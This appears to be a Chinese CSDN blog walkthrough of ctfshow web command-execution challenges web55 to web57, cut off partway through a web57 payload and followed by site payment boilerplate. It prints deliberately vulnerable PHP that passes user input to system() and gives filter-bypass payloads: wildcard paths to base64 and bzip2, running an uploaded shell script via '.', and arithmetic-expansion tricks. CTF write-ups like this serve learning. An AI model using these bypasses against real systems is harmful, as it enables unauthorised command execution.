ctfshow web入门 命令执行后篇(web55-web188)

本文详细介绍了CTF挑战中关于Web命令执行的系列问题,从web55到web124,涵盖了各种过滤和限制条件下的命令执行技巧,包括利用base64、bzip2、文件包含、变量替代等方法来获取flag。
摘要由CSDN通过智能技术生成

目录

web55

web56

web57

web58

web59

web60

web61

web62

web63

web64

web65

web66

web67

web68-70

web71

web72

web73

web74

web75-76

web77

web118

web119

web120

web121

web122

web124


web55

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这个题就比较可以了,把字母过滤了,但是还保留了数字

然后解题的姿势比较可以

第一个为使用base64进行匹配

可以匹配到/bin目录下的命令

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

我们知道了base64,可以用通配符进行匹配命令执行进行查看flag

?c=/???/????64 flag.php
意思/bin/base64 flag.php

第二个为bzip2命令

思路是,将flag文件进行压缩,然后再访问下载

/usr/bin目录下主要放置一些应用软件工具必备的执行档

c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等

其中,我们可以利用/usr/bin下的bzip2

?c=/???/???/????2 ????.???
/usr/bin/bzip2 flag.php

第三个运用.(进行)执行sh命令

再之前我们要上传post文件数据包

源码如下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包,执行poc执行命令

?c=.+/???/????????[@-[]

添加sh命令就可

#!/bin/sh
ls

具体这个方法,我还没大学懂,还得继续努力

web56

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

此题和上一题一样,但是数字也被过滤掉了,需要上传POST数据文件

然后,上传后抓包

?c=.+/???/????????[@-[]

再执行sh命令

#!/bin/sh
ls
#!/bin/sh
tac flag.php

web57

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤掉了许多东西,但是最后只需要让我们让c等于36即可

payload:

1.

$(())输出0,数学运算
~$(())输出~0
$((~$(())))输出-1
所以再这我们只需要让36个-1相加再取反
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值